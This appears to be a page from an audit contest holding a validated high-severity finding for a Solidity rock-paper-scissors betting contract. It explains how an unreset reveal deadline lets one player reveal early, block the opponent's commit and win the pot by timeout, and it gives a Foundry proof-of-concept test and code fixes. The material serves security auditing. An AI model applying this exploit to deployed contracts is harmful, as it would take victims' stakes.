Rock Paper Scissors

First Flight #38
Beginner FriendlySolidity
100 EXP
View results
Submission Details
Severity: high
Valid

Premature Move Revelation Vulnerability Enables Direct Win Exploitation

Summary

The RockPaperScissors contract fails to reset the revealDeadline variable between game rounds, creating a critical vulnerability in the core gameplay mechanism. This flaw allows a malicious player to gain an unfair advantage by revealing their move before their opponent can commit, rendering the opponent unable to participate in the round, and then exploiting the timeout mechanism to automatically win the game and claim the entire prize pool.

Vulnerability Details

After a round completes, the _determineWinner function resets several game state variables but crucially fails to reset the revealDeadline:

function _determineWinner(uint256 _gameId) internal {
// ...
if (game.currentTurn < game.totalTurns) {
// Reset for next turn
game.currentTurn++;
game.commitA = bytes32(0);
game.commitB = bytes32(0);
game.moveA = Move.None;
game.moveB = Move.None;
game.state = GameState.Committed;
// Notice: revealDeadline is NOT reset here
}
// ...
}

This vulnerability can be exploited through three critical flaws working together:

  1. In the revealMove function, there is no check to ensure both players have committed before allowing reveals:

function revealMove(uint256 _gameId, uint8 _move, bytes32 _salt) external {
// ...
require(game.state == GameState.Committed, "Game not in reveal phase");
require(block.timestamp <= game.revealDeadline, "Reveal phase timed out");
// Missing check: require(game.commitA != bytes32(0) && game.commitB != bytes32(0))
// ...
}
  1. In the commitMove function, once a player has revealed, the other player is blocked from committing:

require(game.moveA == Move.None && game.moveB == Move.None, "Moves already committed for this turn");
  1. The timeoutReveal function automatically declares a winner if only one player has revealed:

if (msg.sender == game.playerA && playerARevealed && !playerBRevealed) {
// Player A wins by timeout
_finishGame(_gameId, game.playerA);
}

Impact

This vulnerability has severe consequences for the game's integrity:

  • Complete Breakdown of Game Fairness: A malicious player can bypass the core commit-reveal mechanism intended to prevent players from seeing each other's moves before committing.

  • Automatic Win Exploitation: Attackers can guarantee wins without actual gameplay by blocking their opponents from participating.

  • Financial Loss: Victims lose their bet amounts to attackers who exploit this vulnerability.

  • Unwinnable Scenario: The victim player is placed in a position where they cannot defend against the attack by any means.

  • Protocol Trust Degradation: This exploitable vulnerability undermines trust in the protocol and renders the game unplayable.

Tools Used

  • Manual review

  • Foundry

Proof of Concept

The following steps demonstrate how this vulnerability can be exploited:

  1. Complete the first round of the game normally (both players commit and reveal)

  2. When the next round begins, Player A quickly commits their move

  3. Player A immediately reveals their move (which is allowed due to the lingering revealDeadline)

  4. Player B attempts to commit but is blocked by the check require(game.moveA == Move.None && game.moveB == Move.None, "Moves already committed for this turn");

  5. Player A waits for the reveal deadline to pass

  6. Player A calls timeoutReveal() which automatically declares them the winner, since they have revealed and Player B could not

Below is a Foundry test that proves this vulnerability exists:

Proof of Code
/**
* @notice Proof of Concept for the H-2 vulnerability: Premature Move Revelation with Forced Win
* @dev This test demonstrates how a player can win the game by exploiting the premature
* reveal vulnerability combined with the timeout mechanism. The attack consists of:
* 1. Complete a normal round
* 2. Player A commits and reveals in Round 2 before Player B commits
* 3. Player B cannot commit (transaction reverts)
* 4. Player A waits for timeout and wins automatically
*/
function testPrematureMoveRevealExploitWithWin() public {
gameId = createAndJoinGame();
// First round - both players commit and reveal normally (round ends in a tie)
bytes32 saltA = keccak256(abi.encodePacked("salt for player A", uint256(1)));
bytes32 commitA = keccak256(abi.encodePacked(uint8(RockPaperScissors.Move.Rock), saltA));
vm.prank(playerA);
game.commitMove(gameId, commitA);
bytes32 saltB = keccak256(abi.encodePacked("salt for player B", uint256(1)));
bytes32 commitB = keccak256(abi.encodePacked(uint8(RockPaperScissors.Move.Rock), saltB));
vm.prank(playerB);
game.commitMove(gameId, commitB);
// Both players reveal for first round
vm.prank(playerA);
game.revealMove(gameId, uint8(RockPaperScissors.Move.Rock), saltA);
vm.prank(playerB);
game.revealMove(gameId, uint8(RockPaperScissors.Move.Rock), saltB);
// Verify game state - should be in second round
(,,,,uint256 revealDeadline,,,,uint256 currentTurn,,,,,,, RockPaperScissors.GameState state) = game.games(gameId);
assertEq(currentTurn, 2);
assertEq(uint8(state), uint8(RockPaperScissors.GameState.Committed));
// Store player A's balance before the exploit
uint256 playerABalanceBefore = playerA.balance;
// EXPLOIT PART 1: Player A commits and reveals before Player B can act
bytes32 saltA2 = keccak256(abi.encodePacked("salt for player A", uint256(2)));
bytes32 commitA2 = keccak256(abi.encodePacked(uint8(RockPaperScissors.Move.Rock), saltA2));
vm.prank(playerA);
game.commitMove(gameId, commitA2);
vm.prank(playerA);
game.revealMove(gameId, uint8(RockPaperScissors.Move.Rock), saltA2);
// Verify that player A's move is revealed and visible on-chain
(,,,,,,,,,,,RockPaperScissors.Move moveA,,,, ) = game.games(gameId);
assertEq(uint8(moveA), uint8(RockPaperScissors.Move.Rock));
// EXPLOIT PART 2: Player B cannot commit due to the check in commitMove
// This line will revert with "Moves already committed for this turn"
// We'll catch the revert and verify it's the expected error
bytes32 saltB2 = keccak256(abi.encodePacked("salt for player B", uint256(2)));
bytes32 commitB2 = keccak256(abi.encodePacked(uint8(RockPaperScissors.Move.Paper), saltB2));
vm.expectRevert("Moves already committed for this turn");
vm.prank(playerB);
game.commitMove(gameId, commitB2);
// EXPLOIT PART 3: Player A waits for the reveal deadline to pass
// Then calls timeoutReveal to win automatically
vm.warp(revealDeadline + 1); // Fast forward past the reveal deadline
// Check if timeout is possible and who would win
(bool canTimeout, address winnerIfTimeout) = game.canTimeoutReveal(gameId);
assertTrue(canTimeout, "Should be able to timeout");
assertEq(winnerIfTimeout, playerA, "Player A should be the winner on timeout");
// Player A calls timeout and wins the game
vm.prank(playerA);
game.timeoutReveal(gameId);
// Verify game state is finished and Player A won
(,,,,,,,,,,,,,,, RockPaperScissors.GameState finalState) = game.games(gameId);
assertEq(uint8(finalState), uint8(RockPaperScissors.GameState.Finished), "Game should be finished");
// Verify player A received the prize (90% of total pot)
uint256 expectedPrize = (BET_AMOUNT * 2) * 90 / 100; // 10% fee
assertEq(playerA.balance - playerABalanceBefore, expectedPrize, "Player A should receive the prize");
}

Recommendations

To fix this vulnerability, implement all of the following changes:

  1. Reset the revealDeadline between rounds

    function _determineWinner(uint256 _gameId) internal {
    // ... existing code ...
    if (game.currentTurn < game.totalTurns) {
    // Reset for next turn
    game.currentTurn++;
    game.commitA = bytes32(0);
    game.commitB = bytes32(0);
    game.moveA = Move.None;
    game.moveB = Move.None;
    game.state = GameState.Committed;
    game.revealDeadline = 0; // Add this line to reset the deadline
    }
    // ... existing code ...
    }
  2. Ensure both players have committed before allowing reveals

    function revealMove(uint256 _gameId, uint8 _move, bytes32 _salt) external {
    Game storage game = games[_gameId];
    require(msg.sender == game.playerA || msg.sender == game.playerB, "Not a player in this game");
    require(game.state == GameState.Committed, "Game not in reveal phase");
    require(block.timestamp <= game.revealDeadline, "Reveal phase timed out");
    require(game.commitA != bytes32(0) && game.commitB != bytes32(0), "Both players must commit first");
    require(_move >= 1 && _move <= 3, "Invalid move");
    // ... rest of the function ...
    }
  3. Allow commits even if one player has already revealed

    function commitMove(uint256 _gameId, bytes32 _commitHash) external {
    // ... existing code ...
    // Remove or modify this check to allow commits when moves are revealed
    // require(game.moveA == Move.None && game.moveB == Move.None, "Moves already committed for this turn");
    // Use a more specific check for each player
    if (msg.sender == game.playerA) {
    require(game.commitA == bytes32(0), "Already committed");
    game.commitA = _commitHash;
    } else {
    require(game.commitB == bytes32(0), "Already committed");
    game.commitB = _commitHash;
    }
    // ... rest of the function ...
    }
  4. Consider adding a commit phase timeout as well, to prevent game stalling if a player never commits.

Updates

Appeal created

m3dython Lead Judge about 2 months ago
Submission Judgement Published
Validated
Assigned finding tags:

Invalid TimeoutReveal Logic Error

timeoutReveal function incorrectly allows execution and game cancellation even when only one player has committed

m3dython Lead Judge about 2 months ago
Submission Judgement Published
Validated
Assigned finding tags:

Invalid TimeoutReveal Logic Error

timeoutReveal function incorrectly allows execution and game cancellation even when only one player has committed

linxun Submitter
about 2 months ago
m3dython Lead Judge
about 1 month ago
m3dython Lead Judge about 1 month ago
Submission Judgement Published
Validated
Assigned finding tags:

Game State Manipulation Preventing Opponent Commit

Attack allows a player to reveal their move for the next turn before the opponent commits

Support

FAQs

Can't find an answer? Chat with us on Discord, Twitter or Linkedin.